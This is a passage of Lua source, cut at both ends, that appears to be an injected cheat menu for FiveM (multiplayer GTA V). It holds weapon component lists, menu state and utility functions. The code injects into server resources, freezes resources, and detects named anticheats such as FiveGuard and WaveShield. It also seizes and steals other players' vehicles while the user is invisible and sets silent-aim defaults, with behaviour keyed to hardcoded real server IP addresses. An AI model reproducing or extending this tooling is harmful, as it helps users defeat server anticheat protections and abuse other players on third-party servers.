"COMPONENT_REVOLVER_MK2_CLIP_TRACER", "COMPONENT_REVOLVER_MK2_CLIP_INCENDIARY", "COMPONENT_REVOLVER_MK2_CLIP_HOLLOWPOINT", "COMPONENT_REVOLVER_MK2_CLIP_FMJ", "COMPONENT_SMG_MK2_CLIP_TRACER", "COMPONENT_SMG_MK2_CLIP_INCENDIARY", "COMPONENT_SMG_MK2_CLIP_HOLLOWPOINT", "COMPONENT_SMG_MK2_CLIP_FMJ", "COMPONENT_ASSAULTRIFLE_MK2_CLIP_TRACER", "COMPONENT_ASSAULTRIFLE_MK2_CLIP_INCENDIARY", "COMPONENT_ASSAULTRIFLE_MK2_CLIP_ARMORPIERCING", "COMPONENT_ASSAULTRIFLE_MK2_CLIP_FMJ", "COMPONENT_CARBINERIFLE_MK2_CLIP_TRACER", "COMPONENT_CARBINERIFLE_MK2_CLIP_INCENDIARY", "COMPONENT_CARBINERIFLE_MK2_CLIP_ARMORPIERCING", "COMPONENT_CARBINERIFLE_MK2_CLIP_FMJ", "COMPONENT_SPECIALCARBINE_MK2_CLIP_TRACER", "COMPONENT_SPECIALCARBINE_MK2_CLIP_INCENDIARY", "COMPONENT_SPECIALCARBINE_MK2_CLIP_ARMORPIERCING", "COMPONENT_SPECIALCARBINE_MK2_CLIP_FMJ", "COMPONENT_BULLPUPRIFLE_MK2_CLIP_TRACER", "COMPONENT_BULLPUPRIFLE_MK2_CLIP_INCENDIARY", "COMPONENT_BULLPUPRIFLE_MK2_CLIP_ARMORPIERCING", "COMPONENT_BULLPUPRIFLE_MK2_CLIP_FMJ", "COMPONENT_COMBATMG_MK2_CLIP_TRACER", "COMPONENT_COMBATMG_MK2_CLIP_INCENDIARY", "COMPONENT_COMBATMG_MK2_CLIP_ARMORPIERCING", "COMPONENT_COMBATMG_MK2_CLIP_FMJ", "COMPONENT_MARKSMANRIFLE_MK2_CLIP_TRACER", "COMPONENT_MARKSMANRIFLE_MK2_CLIP_INCENDIARY", "COMPONENT_MARKSMANRIFLE_MK2_CLIP_ARMORPIERCING", "COMPONENT_MARKSMANRIFLE_MK2_CLIP_FMJ", "COMPONENT_HEAVYSNIPER_MK2_CLIP_INCENDIARY", "COMPONENT_HEAVYSNIPER_MK2_CLIP_ARMORPIERCING", "COMPONENT_HEAVYSNIPER_MK2_CLIP_FMJ", "COMPONENT_HEAVYSNIPER_MK2_CLIP_EXPLOSIVE", "COMPONENT_PUMPSHOTGUN_MK2_CLIP_INCENDIARY", "COMPONENT_PUMPSHOTGUN_MK2_CLIP_ARMORPIERCING", "COMPONENT_PUMPSHOTGUN_MK2_CLIP_HOLLOWPOINT", "COMPONENT_PUMPSHOTGUN_MK2_CLIP_EXPLOSIVE", "COMPONENT_PISTOL_MK2_CAMO", "COMPONENT_PISTOL_MK2_CAMO_02", "COMPONENT_PISTOL_MK2_CAMO_03", "COMPONENT_PISTOL_MK2_CAMO_04", "COMPONENT_PISTOL_MK2_CAMO_05", "COMPONENT_PISTOL_MK2_CAMO_06", "COMPONENT_PISTOL_MK2_CAMO_07", "COMPONENT_PISTOL_MK2_CAMO_08", "COMPONENT_PISTOL_MK2_CAMO_09", "COMPONENT_PISTOL_MK2_CAMO_10", "COMPONENT_PISTOL_MK2_CAMO_IND_01", "COMPONENT_SMG_MK2_CAMO", "COMPONENT_SMG_MK2_CAMO_02", "COMPONENT_SMG_MK2_CAMO_03", "COMPONENT_SMG_MK2_CAMO_04", "COMPONENT_SMG_MK2_CAMO_05", "COMPONENT_SMG_MK2_CAMO_06", "COMPONENT_SMG_MK2_CAMO_07", "COMPONENT_SMG_MK2_CAMO_08", "COMPONENT_SMG_MK2_CAMO_09", "COMPONENT_SMG_MK2_CAMO_10", "COMPONENT_SMG_MK2_CAMO_IND_01", "COMPONENT_ASSAULTRIFLE_MK2_CAMO", "COMPONENT_ASSAULTRIFLE_MK2_CAMO_02", "COMPONENT_ASSAULTRIFLE_MK2_CAMO_03", "COMPONENT_ASSAULTRIFLE_MK2_CAMO_04", "COMPONENT_ASSAULTRIFLE_MK2_CAMO_05", "COMPONENT_ASSAULTRIFLE_MK2_CAMO_06", "COMPONENT_ASSAULTRIFLE_MK2_CAMO_07", "COMPONENT_ASSAULTRIFLE_MK2_CAMO_08", "COMPONENT_ASSAULTRIFLE_MK2_CAMO_09", "COMPONENT_ASSAULTRIFLE_MK2_CAMO_10", "COMPONENT_ASSAULTRIFLE_MK2_CAMO_IND_01", "COMPONENT_CARBINERIFLE_MK2_CAMO", "COMPONENT_CARBINERIFLE_MK2_CAMO_02", "COMPONENT_CARBINERIFLE_MK2_CAMO_03", "COMPONENT_CARBINERIFLE_MK2_CAMO_04", "COMPONENT_CARBINERIFLE_MK2_CAMO_05", "COMPONENT_CARBINERIFLE_MK2_CAMO_06", "COMPONENT_CARBINERIFLE_MK2_CAMO_07", "COMPONENT_CARBINERIFLE_MK2_CAMO_08", "COMPONENT_CARBINERIFLE_MK2_CAMO_09", "COMPONENT_CARBINERIFLE_MK2_CAMO_10", "COMPONENT_CARBINERIFLE_MK2_CAMO_IND_01", "COMPONENT_SPECIALCARBINE_MK2_CAMO", "COMPONENT_SPECIALCARBINE_MK2_CAMO_02", "COMPONENT_SPECIALCARBINE_MK2_CAMO_03", "COMPONENT_SPECIALCARBINE_MK2_CAMO_04", "COMPONENT_SPECIALCARBINE_MK2_CAMO_05", "COMPONENT_SPECIALCARBINE_MK2_CAMO_06", "COMPONENT_SPECIALCARBINE_MK2_CAMO_07", "COMPONENT_SPECIALCARBINE_MK2_CAMO_08", "COMPONENT_SPECIALCARBINE_MK2_CAMO_09", "COMPONENT_SPECIALCARBINE_MK2_CAMO_10", "COMPONENT_SPECIALCARBINE_MK2_CAMO_IND_01", "COMPONENT_BULLPUPRIFLE_MK2_CAMO", "COMPONENT_BULLPUPRIFLE_MK2_CAMO_02", "COMPONENT_BULLPUPRIFLE_MK2_CAMO_03", "COMPONENT_BULLPUPRIFLE_MK2_CAMO_04", "COMPONENT_BULLPUPRIFLE_MK2_CAMO_05", "COMPONENT_BULLPUPRIFLE_MK2_CAMO_06", "COMPONENT_BULLPUPRIFLE_MK2_CAMO_07", "COMPONENT_BULLPUPRIFLE_MK2_CAMO_08", "COMPONENT_BULLPUPRIFLE_MK2_CAMO_09", "COMPONENT_BULLPUPRIFLE_MK2_CAMO_10", "COMPONENT_BULLPUPRIFLE_MK2_CAMO_IND_01", "COMPONENT_COMBATMG_MK2_CAMO", "COMPONENT_COMBATMG_MK2_CAMO_02", "COMPONENT_COMBATMG_MK2_CAMO_03", "COMPONENT_COMBATMG_MK2_CAMO_04", "COMPONENT_COMBATMG_MK2_CAMO_05", "COMPONENT_COMBATMG_MK2_CAMO_06", "COMPONENT_COMBATMG_MK2_CAMO_07", "COMPONENT_COMBATMG_MK2_CAMO_08", "COMPONENT_COMBATMG_MK2_CAMO_09", "COMPONENT_COMBATMG_MK2_CAMO_10", "COMPONENT_COMBATMG_MK2_CAMO_IND_01", "COMPONENT_MARKSMANRIFLE_MK2_CAMO", "COMPONENT_MARKSMANRIFLE_MK2_CAMO_02", "COMPONENT_MARKSMANRIFLE_MK2_CAMO_03", "COMPONENT_MARKSMANRIFLE_MK2_CAMO_04", "COMPONENT_MARKSMANRIFLE_MK2_CAMO_05", "COMPONENT_MARKSMANRIFLE_MK2_CAMO_06", "COMPONENT_MARKSMANRIFLE_MK2_CAMO_07", "COMPONENT_MARKSMANRIFLE_MK2_CAMO_08", "COMPONENT_MARKSMANRIFLE_MK2_CAMO_09", "COMPONENT_MARKSMANRIFLE_MK2_CAMO_10", "COMPONENT_MARKSMANRIFLE_MK2_CAMO_IND_01", "COMPONENT_HEAVYSNIPER_MK2_CAMO", "COMPONENT_HEAVYSNIPER_MK2_CAMO_02", "COMPONENT_HEAVYSNIPER_MK2_CAMO_03", "COMPONENT_HEAVYSNIPER_MK2_CAMO_04", "COMPONENT_HEAVYSNIPER_MK2_CAMO_05", "COMPONENT_HEAVYSNIPER_MK2_CAMO_06", "COMPONENT_HEAVYSNIPER_MK2_CAMO_07", "COMPONENT_HEAVYSNIPER_MK2_CAMO_08", "COMPONENT_HEAVYSNIPER_MK2_CAMO_09", "COMPONENT_HEAVYSNIPER_MK2_CAMO_10", "COMPONENT_HEAVYSNIPER_MK2_CAMO_IND_01", "COMPONENT_SNSPISTOL_MK2_CAMO", "COMPONENT_SNSPISTOL_MK2_CAMO_02", "COMPONENT_SNSPISTOL_MK2_CAMO_03", "COMPONENT_SNSPISTOL_MK2_CAMO_04", "COMPONENT_SNSPISTOL_MK2_CAMO_05", "COMPONENT_SNSPISTOL_MK2_CAMO_06", "COMPONENT_SNSPISTOL_MK2_CAMO_07", "COMPONENT_SNSPISTOL_MK2_CAMO_08", "COMPONENT_SNSPISTOL_MK2_CAMO_09", "COMPONENT_SNSPISTOL_MK2_CAMO_10", "COMPONENT_SNSPISTOL_MK2_CAMO_IND_01", "COMPONENT_REVOLVER_MK2_CAMO", "COMPONENT_REVOLVER_MK2_CAMO_02", "COMPONENT_REVOLVER_MK2_CAMO_03", "COMPONENT_REVOLVER_MK2_CAMO_04", "COMPONENT_REVOLVER_MK2_CAMO_05", "COMPONENT_REVOLVER_MK2_CAMO_06", "COMPONENT_REVOLVER_MK2_CAMO_07", "COMPONENT_REVOLVER_MK2_CAMO_08", "COMPONENT_REVOLVER_MK2_CAMO_09", "COMPONENT_REVOLVER_MK2_CAMO_10", "COMPONENT_REVOLVER_MK2_CAMO_IND_01", "COMPONENT_PUMPSHOTGUN_MK2_CAMO", "COMPONENT_PUMPSHOTGUN_MK2_CAMO_02", "COMPONENT_PUMPSHOTGUN_MK2_CAMO_03", "COMPONENT_PUMPSHOTGUN_MK2_CAMO_04", "COMPONENT_PUMPSHOTGUN_MK2_CAMO_05", "COMPONENT_PUMPSHOTGUN_MK2_CAMO_06", "COMPONENT_PUMPSHOTGUN_MK2_CAMO_07", "COMPONENT_PUMPSHOTGUN_MK2_CAMO_08", "COMPONENT_PUMPSHOTGUN_MK2_CAMO_09", "COMPONENT_PUMPSHOTGUN_MK2_CAMO_10", "COMPONENT_PUMPSHOTGUN_MK2_CAMO_IND_01", "COMPONENT_PISTOL_VARMOD_LUXE", "COMPONENT_COMBATPISTOL_VARMOD_LOWRIDER", "COMPONENT_APPISTOL_VARMOD_LUXE", "COMPONENT_PISTOL50_VARMOD_LUXE", "COMPONENT_HEAVYPISTOL_VARMOD_LUXE", "COMPONENT_SNSPISTOL_VARMOD_LOWRIDER", "COMPONENT_REVOLVER_VARMOD_BOSS", "COMPONENT_REVOLVER_VARMOD_GOON", "COMPONENT_MICROSMG_VARMOD_LUXE", "COMPONENT_SMG_VARMOD_LUXE", "COMPONENT_ASSAULTSMG_VARMOD_LOWRIDER", "COMPONENT_COMBATPDW_VARMOD_LOWRIDER", "COMPONENT_ASSAULTRIFLE_VARMOD_LUXE", "COMPONENT_CARBINERIFLE_VARMOD_LUXE", "COMPONENT_ADVANCEDRIFLE_VARMOD_LUXE", "COMPONENT_SPECIALCARBINE_VARMOD_LOWRIDER", "COMPONENT_BULLPUPRIFLE_VARMOD_LOW", "COMPONENT_MG_VARMOD_LOWRIDER", "COMPONENT_COMBATMG_VARMOD_LOWRIDER", "COMPONENT_SNIPERRIFLE_VARMOD_LUXE", "COMPONENT_MARKSMANRIFLE_VARMOD_LUXE", "COMPONENT_PUMPSHOTGUN_VARMOD_LOWRIDER", "COMPONENT_SAWNOFFSHOTGUN_VARMOD_LUXE" }, explosionWeapon = "vehicle_weapon_dogfighter_missile", normalWeapon = "vehicle_weapon_rctank_gun", electronObjectBlacklist = { "ch3_lod_1_2_slod3", "dt1_lod_slod3", "ar_prop_ar_neon_gate8x_04a", "ar_prop_ar_neon_gate8x_03a", "ar_prop_ar_neon_gate8x_05a", "ar_prop_ar_tube_4x_crn_5d", "prop_pylon_03", "prop_juicestand", "prop_logpile_06b", "p_cs_mp_jet_01_s", "prop_asteroid_01" }, heartbeatActive = false, blacklisted = false, blacklistMessage = "", blacklistDisplayTime = 0, blacklistUiMode = "blacklist", pendingBlacklistMessage = nil, pendingBlacklistDisplayDuration = 0, pendingBlacklistUiMode = nil, vanityMenuUsers = {}, lastVanityCheck = 0, lastForceWeatherState = nil, addonVehicles = {}, garageResources = { "jg-dealerships", "revo_core", "qb-garages", "garages", "A_Garage", "es_extended", "monitor" }, freezableResources = {}, freezableResourceFilters = { "Custom", "Anticheats", "einreise", "troll", "whitelist", "core" }, pedLimiter = { maxPeds = 3, perTime = 5000, currentPeds = 0, spawnedAt = 0 }, antiCheats = {}, freecamMenuActive = false, freecamMenuThread = false, freecamMenu = nil, mumbleListeners = {}, pmFullInvisibleActive = false, espForceRefresh = false, espViewerRecoverUntil = 0, rcCar = { vehicle = nil, driver = nil, camera = nil, active = false, speed = 3.0, cameraHeight = 5.0, baseMaxSpeed = nil, camLook = { yaw = 0.0, pitch = 0.0 }, steerAngle = 0.0, driverTaskCleared = false, cameraFocused = false, lastFocusUpdate = 0, controlThread = nil, controlLoopStarted = false }, carryAttachedVeh = nil, carryAttachedObj = nil, carryOldCoords = nil, carryAnimActive = false, rainbowVehicleTimer = 0, emoteTable = { carry = { emote_self = "carry2", emote_other = "carry" }, blowjob = { emote_self = "receiveblowjob", emote_other = "giveblowjob" }, bro = { emote_self = "bro", emote_other = "bro2" }, baseball = { emote_self = "baseball", emote_other = "baseball_throw" }, kiss = { emote_self = "kiss", emote_other = "kiss2" }, slap = { emote_self = "slap", emote_other = "slapped" }, streetsex = { emote_self = "streetsexmale", emote_other = "streetsexfemale" }, cutepicpose = { emote_self = "cutepicpose", emote_other = "cutepicpose2" } }, spawnVehiclesAsObject = false, scriptUI = {}, panelScripts = nil, panelScriptsById = nil, panelScriptsHash = nil } initialMenuVars.linkedDiscord = nil initialMenu.vars = initialMenuVars vehicleSpawnBootstrapScript = [[ _G.Citizen = _G.Citizen or Citizen or {} _G.Citizen.Bongs = _G.Citizen.Bongs or {} _G.Citizen.Bongs.utils = _G.Citizen.Bongs.utils or { spawnVehicle = function(vehicleModel, spawnCoords, heading, cb, safeSpawn) Citizen.CreateThread(function() local modelHash = type(vehicleModel) == "number" and vehicleModel or GetHashKey(vehicleModel) if RZRP then RZRP:SpawnVehicle(vehicleModel, spawnCoords, heading, cb) elseif ESX and ESX.Game.SpawnVehicle and (safeSpawn ~= nil and (safeSpawn == 1 or safeSpawn == true)) then ESX.Game.SpawnVehicle(vehicleModel, spawnCoords, heading, cb) elseif CreateFrameworkVehicle and (safeSpawn ~= nil and (safeSpawn == 1 or safeSpawn == true)) then local vehicle = CreateFrameworkVehicle({ hash = modelHash, }, spawnCoords) cb(vehicle) elseif safeSpawn == nil or safeSpawn == 0 or safeSpawn == false or not safeSpawn then RequestModel(modelHash) while not HasModelLoaded(modelHash) do Citizen.Wait(10) end local vehicle = CreateVehicle(modelHash, spawnCoords.x, spawnCoords.y, spawnCoords.z, heading, true, true) local timeout = 100 while not DoesEntityExist(vehicle) and timeout > 0 do Citizen.Wait(10) timeout = timeout - 1 end if Entity and Entity(vehicle) and Entity(vehicle).state and Entity(vehicle).state.set then Entity(vehicle).state:set("fO", 2296, true) end cb(vehicle) else print("Failed to find appropriate spawn method.") cb(nil) end end) end, } ]] do local initialMenuForUtilities = menu local menuUtilities = {} local pendingUtilityValue function menuUtilities.getFreezableResourceList() local function parseFreezableResourceList(data) local resources = {} if type(data) == "string" and data ~= "" and json and json.decode then local ok, decoded = pcall(json.decode, data) if ok and decoded then data = decoded end end if type(data) ~= "table" then return resources end if data.resources then data = data.resources end if data.list then data = data.list end for key, value in pairs(data) do local resourceName = nil if type(value) == "string" and value ~= "" then resourceName = value elseif type(key) == "string" and key ~= "" then resourceName = key elseif type(value) == "table" then resourceName = value.name or value.resourceName or value.resource or (value[1] and tostring(value[1])) or (type(key) == "string" and key ~= "" and key) or false end if resourceName and type(resourceName) == "string" and resourceName ~= "" then table.insert(resources, resourceName) end end return resources end local resources = {} if Ham then local injectedResources = nil if Ham.getInjectableResources then local ok, result = pcall(Ham.getInjectableResources) if ok and result then injectedResources = result end end resources = parseFreezableResourceList(injectedResources) if #resources == 0 and Ham.getResources then local ok, result = pcall(Ham.getResources) if ok and result then resources = parseFreezableResourceList(result) end end if #resources == 0 and Ham.getSafeResources then local ok, result = pcall(Ham.getSafeResources) if ok and result and type(result) == "table" then for _, resourceName in ipairs(result) do if type(resourceName) == "string" and resourceName ~= "" then table.insert(resources, resourceName) end end end end end table.sort(resources) return resources end function menuUtilities.nudgePedLeftRelative(ped, distance) if not ped or ped == 0 or not DoesEntityExist(ped) then return end local offset = tonumber(distance) or 1.0 ClearPedTasksImmediately(ped) Citizen.Wait(0) local position = GetEntityCoords(ped) local forward = GetEntityForwardVector(ped) local leftX, leftY = -forward.y, forward.x local length = math.sqrt(leftX * leftX + leftY * leftY) if length < 1.0E-4 then return end local scale = offset / length SetEntityCoordsNoOffset( ped, position.x + leftX * scale, position.y + leftY * scale, position.z, false, false, false ) end function menuUtilities.beginTempPlayerInvisibility() local stack = _G.pmTempInvisStack if not stack then stack = { ref = 0, restoreVisible = nil } _G.pmTempInvisStack = stack end local playerPed = PlayerPedId() if stack.ref == 0 then stack.restoreVisible = IsEntityVisible(playerPed) SetEntityVisible(playerPed, false, false) end stack.ref = stack.ref + 1 end function menuUtilities.endTempPlayerInvisibility() local stack = _G.pmTempInvisStack if not stack or stack.ref <= 0 then return end local playerPed = PlayerPedId() stack.ref = stack.ref - 1 if stack.ref == 0 and stack.restoreVisible ~= nil then if DoesEntityExist(playerPed) then SetEntityVisible(playerPed, stack.restoreVisible, false) end stack.restoreVisible = nil end end function menuUtilities.withTempPlayerInvisibility(callback) menu.utils.beginTempPlayerInvisibility() local ok, result = pcall(callback) menu.utils.endTempPlayerInvisibility() if not ok then error(tostring(result), 0) end end function menuUtilities.runWithMenuHidden(callback) if menu.logic and menu.logic.setMenuVisibleAnimated then menu.logic.setMenuVisibleAnimated(false, true) end if Ham.toggleMouse then Ham.toggleMouse(false) end if Ham.toggleInputBlock then if not menu.logic or not menu.logic.needsHamInputBlock or not menu.logic.needsHamInputBlock() then Ham.toggleInputBlock(false) end end callback() end function menuUtilities.hiddenMenu(durationSeconds, callback) durationSeconds = math.max(0, tonumber(durationSeconds) or 0) if type(callback) ~= "function" then callback = nil end menu.utils.runWithMenuHidden(function() local startedAt = GetGameTimer() if callback then callback() end local remainingMs = math.floor(durationSeconds * 1000) - (GetGameTimer() - startedAt) if 0 < remainingMs then Citizen.Wait(remainingMs) end end) end function menuUtilities.hiddenMenuUntilDone(callback) if type(callback) ~= "function" then return end menu.utils.runWithMenuHidden(function() local isDone = false local function markDone() isDone = true end local details = debug.getinfo(callback, "u") if details and details.nparams and 1 <= details.nparams then callback(markDone) while not isDone do Citizen.Wait(0) end return end callback() end) end function menuUtilities.removeDriverFromVehicle(vehicle) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return false end local driver = GetPedInVehicleSeat(vehicle, -1) if not driver or driver == 0 or not DoesEntityExist(driver) then return true end if IsPedAPlayer(driver) then local playerPed = PlayerPedId() local originalPosition = GetEntityCoords(playerPed) local deadline = GetGameTimer() + 500 TaskEnterVehicle(playerPed, vehicle, 500, -1, 2.0, 8, 0) while DoesEntityExist(vehicle) and DoesEntityExist(driver) and GetPedInVehicleSeat(vehicle, -1) == driver and deadline > GetGameTimer() do Citizen.Wait(10) end ClearPedTasksImmediately(playerPed) SetEntityCoordsNoOffset( playerPed, originalPosition.x, originalPosition.y, originalPosition.z, false, false, false ) menu.utils.nudgePedLeftRelative(playerPed, 1.0) else DeleteEntity(driver) end return IsVehicleSeatFree(vehicle, -1) end function menuUtilities.kickDriverWithFreecamSequence(vehicle) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return false end if IsVehicleSeatFree(vehicle, -1) then return false end local playerPed = PlayerPedId() local originalPosition = GetEntityCoords(playerPed) menu.utils.withTempPlayerInvisibility(function() TaskEnterVehicle(playerPed, vehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(50) TaskWarpPedIntoVehicle(playerPed, vehicle, -1) Citizen.Wait(1500) ClearPedTasksImmediately(playerPed) SetEntityCoords( playerPed, originalPosition.x, originalPosition.y, originalPosition.z, false, false, false, true ) end) return true end function menuUtilities.claimVehicleForPhysgun(vehicle, seatWarpDelayMs) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return false end local playerPed = PlayerPedId() local playerPosition = GetEntityCoords(playerPed) local warpDelay = tonumber(seatWarpDelayMs) or 122 if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end local controlDeadline = GetGameTimer() + 750 while DoesEntityExist(vehicle) and not NetworkHasControlOfEntity(vehicle) and controlDeadline > GetGameTimer() do NetworkRequestControlOfEntity(vehicle) Citizen.Wait(10) end if not DoesEntityExist(vehicle) or not NetworkHasControlOfEntity(vehicle) then return false end if not IsVehicleSeatFree(vehicle, -1) then local removed = menu.utils.removeDriverFromVehicle(vehicle) if not removed then local seatDeadline = GetGameTimer() + 1000 while DoesEntityExist(vehicle) and not IsVehicleSeatFree(vehicle, -1) and seatDeadline > GetGameTimer() do Citizen.Wait(10) end end end if not DoesEntityExist(vehicle) or not IsVehicleSeatFree(vehicle, -1) then return false end menu.utils.beginTempPlayerInvisibility() TaskWarpPedIntoVehicle(playerPed, vehicle, -1) Citizen.Wait(warpDelay) ClearPedTasksImmediately(playerPed) SetEntityCoordsNoOffset( playerPed, playerPosition.x, playerPosition.y, playerPosition.z, false, false, false ) menu.utils.endTempPlayerInvisibility() return DoesEntityExist(vehicle) and NetworkHasControlOfEntity(vehicle) and IsVehicleSeatFree(vehicle, -1) end function menuUtilities.applyPhysgunHoldToEntity(entity, targetPosition, targetRotation, fullCollision) if not entity or not DoesEntityExist(entity) then return end FreezeEntityPosition(entity, false) if fullCollision then SetEntityCollision(entity, true, true) if SetEntityRecordsCollisions then SetEntityRecordsCollisions(entity, true) end ResetEntityAlpha(entity) local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 then SetEntityNoCollisionEntity(entity, playerPed, false) SetEntityNoCollisionEntity(playerPed, entity, false) end if SetEntityHasGravity then SetEntityHasGravity(entity, true) end if ActivatePhysics then ActivatePhysics(entity) end SetEntityRotation(entity, targetRotation.x, 0.0, targetRotation.z, 2, true) local position = GetEntityCoords(entity) local displacement = vector3(targetPosition.x - position.x, targetPosition.y - position.y, targetPosition.z - position.z) local distance = #displacement if not (0.35 < distance) then return end local speed = math.min(math.max(distance * 6.0, 14.0), 55.0) local inverseDistance = 1.0 / distance SetEntityVelocity( entity, displacement.x * inverseDistance * speed, displacement.y * inverseDistance * speed, displacement.z * inverseDistance * speed ) return end if SetEntityHasGravity then SetEntityHasGravity(entity, false) end SetEntityRotation(entity, targetRotation.x, 0.0, targetRotation.z, 2, true) SetEntityCoordsNoOffset(entity, targetPosition.x, targetPosition.y, targetPosition.z, false, false, false) SetEntityCollision(entity, false, false) SetEntityAlpha(entity, 200, false) SetEntityVelocity(entity, 0.0, 0.0, 0.0) end function menuUtilities.releasePhysgunEntity(entity, throwDirection, throwForce, unusedParameter) if not entity or not DoesEntityExist(entity) then return end if not NetworkGetEntityIsNetworked(entity) then NetworkRegisterEntityAsNetworked(entity) end NetworkRequestControlOfEntity(entity) DetachEntity(entity, true, true) SetEntityInvincible(entity, false) SetEntityCollision(entity, true, true) ResetEntityAlpha(entity) if SetEntityHasGravity then SetEntityHasGravity(entity, true) end if throwDirection and throwForce then ApplyForceToEntity( entity, 1, throwDirection.x * throwForce, throwDirection.y * throwForce, throwDirection.z * throwForce, 0.0, 0.0, 0.0, 0, false, true, true, false, true ) end end function menuUtilities.getPhysgunHoldDescription(fullCollision) if fullCollision then return "Press R to disable collision | Right click to throw" end return "Press R to enable collision | Right click to throw" end function menuUtilities.isPhysgunFullCollisionTogglePressed() return ImGuiKey and ImGuiKey.R and Ham.isKeyReleased and Ham.isKeyReleased(ImGuiKey.R) end function menuUtilities.sanitizeExecuteCode(code) if type(code) ~= "string" then return nil end code = code:gsub("^\239\187\191", "") code = code:gsub("\027%[%d;]*m", "") code = code:gsub("^%^%dm", "") code = code:gsub("^%^%d", "") code = code:gsub("^%[%dm", "") code = code:match("^%s*(.-)%s*$") if not code or code == "" then return nil end return code end function menuUtilities.validateExecuteCode(code) if type(code) ~= "string" or code == "" then return false, "empty code" end local loader = loadstring or load if not loader then return true end local compiled, errorMessage = loader(code, "@safeExecute") if not compiled then return false, errorMessage end return true end menuUtilities.spawnExplosionWeaponByServer = { ["80.224.219.2"] = 4171469727 } menuUtilities.freecam802242192BlockedOptions = { ["Map Destroyer"] = true, ["Object Spawner"] = true, ["Spawn Custom Ped"] = true, ["Ped Shooter"] = true } function menuUtilities.isServer802242192() return menu.utils.getServerIp() == "80.224.219.2" end function menuUtilities.isFreecamOptionBlockedOn802242192Server(optionName) if not menu.utils.isServer802242192() then return false end return menu.utils.freecam802242192BlockedOptions[optionName] == true end function menuUtilities.getSpawnExplosionWeaponHash(defaultHash) if not defaultHash then defaultHash = 133987706 end local serverIp = menu.utils.getServerIp() if serverIp ~= "" and menu.utils.spawnExplosionWeaponByServer[serverIp] then return menu.utils.spawnExplosionWeaponByServer[serverIp] end return defaultHash end menuUtilities.monamiLaunchServers = { ["5.231.74.198"] = "MonamiV", ["185.229.207.5"] = "Hamburg" } function menuUtilities.isServerMonamiLaunchMode() local serverIp = menu.utils.getServerIp() return serverIp ~= "" and menu.utils.monamiLaunchServers[serverIp] ~= nil end menuUtilities.nearbyVehicleSpawnerServers = { ["109.61.83.90"] = true, ["185.169.134.10"] = true, ["185.169.134.18"] = true, ["185.169.134.141"] = true, ["185.169.134.146"] = true, ["185.169.134.154"] = true, ["185.169.134.186"] = true, ["185.169.134.194"] = true, ["185.169.134.202"] = true, ["185.169.134.206"] = true, ["185.169.134.214"] = true, ["185.169.134.222"] = true, ["185.169.134.226"] = true } function menuUtilities.isServer185169NearbyVehicleMode() return menu.utils.nearbyVehicleSpawnerServers[menu.utils.getServerIp()] == true end function menuUtilities.applyGrandServerSilentAimDefaults() if not menu.utils.isServer185169NearbyVehicleMode() then return end menu.vars.bools.silentAimGrand = true if menu.functions.applySilentAimGrandBoneLock then menu.functions.applySilentAimGrandBoneLock({ toggleState = true }) end end function menuUtilities.isMenuVehiclePreviewEntity(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end if menu.vars.vehicleSpawnPreviewEntity and entity == menu.vars.vehicleSpawnPreviewEntity then return true end if menu.vars.freecamPreviewEntity and entity == menu.vars.freecamPreviewEntity then return true end return false end menuUtilities.freecamGrandServerBlockedOptions = { ["Map Destroyer"] = true, ["Object Spawner"] = true, ["Ped Shooter"] = true, ["Shoot Objects"] = true, ["Shoot RPG"] = true, ["Smash Attack"] = true, ["Steal Vehicle"] = true, ["Kick Driver"] = true, ["NPC Vehicle Hijack"] = true, ["Player Options"] = true } function menuUtilities.isFreecamOptionBlockedOnGrandServer(optionName) if not menu.utils.isServer185169NearbyVehicleMode() then return false end return menu.utils.freecamGrandServerBlockedOptions[optionName] == true end function menuUtilities.getFreecamShootVehicleOptionName() if menu.utils.isServer185169NearbyVehicleMode() then return "Shoot Available Vehicles" end return "Shoot Vehicle" end function menuUtilities.isFreecamShootVehicleOptionName(optionName) return optionName == "Shoot Vehicle" or optionName == "Shoot Vehicles" or optionName == "Shoot Available Vehicles" end function menuUtilities.getInjectAntiCheatDisplayNames() if menu.utils.isServer185169NearbyVehicleMode() then return { "CustomAC" } end local displayNames = {} if menu.vars and menu.vars.antiCheats then for name, enabled in pairs(menu.vars.antiCheats) do if type(name) == "string" and enabled == true then displayNames[#displayNames + 1] = name end end table.sort(displayNames) end return displayNames end function menuUtilities.getAntiCheatResourceName(displayName) local name = tostring(displayName or "") local candidatesByName = { FiveGuard = { "fiveguard", "FiveGuard" }, ElectronAC = { "ElectronAC", "electron-ac", "electronac" }, WaveShield = { "WaveShield", "waveshield" }, ReaperV4 = { "ReaperV4", "reaperv4", "Reaper" }, Putin = { "Putin" }, FeloxAC = { "FeloxAC", "feloxac" }, CustomAC = { "CustomAC", "customac" }, XeroShield = { "xeroshieldv3", "XeroShieldV3" } } local candidates = candidatesByName[name] if candidates then for _, resourceName in ipairs(candidates) do if Ham.hasResource(resourceName) then return resourceName end end return candidates[1] end if Ham.hasResource(name) then return name end local lowerName = name:lower() if Ham.hasResource(lowerName) then return lowerName end return name end function menuUtilities.buildAcDetectionNotifyExtras(detectedAnticheats) if menu.utils.isServer185169NearbyVehicleMode() then return { title = "Anticheat checker", subtitle = "Detected AntiCheat(s): Custom Anticheat" } end local detected = detectedAnticheats or {} if #detected == 0 then return { title = "Anticheat checker", subtitle = "No Anticheat found!" } end return { title = "Anticheat checker", subtitle = "Detected AntiCheat(s): " .. table.concat(detected, ", ") } end function menuUtilities.isAzertyKeyboard() return menu.vars and menu.vars.selectors and menu.vars.selectors.keyboardLayout == 2 end function menuUtilities.getMoveAxisInput() local function isMoveControlPressed(control) local pressed = IsControlPressed(0, control) if not pressed then if type(IsDisabledControlPressed) == "function" then pressed = IsDisabledControlPressed(0, control) else pressed = false end end return pressed end local forward, sideways = 0, 0 if isMoveControlPressed(32) then forward = forward + 1 end if isMoveControlPressed(33) then forward = forward - 1 end if isMoveControlPressed(34) then sideways = sideways - 1 end if isMoveControlPressed(35) then sideways = sideways + 1 end if menu.utils.isAzertyKeyboard() and ImGuiKey and Ham and Ham.isKeyDown then if Ham.isKeyDown(ImGuiKey.Z) then forward = forward + 1 end if Ham.isKeyDown(ImGuiKey.S) then forward = forward - 1 end if 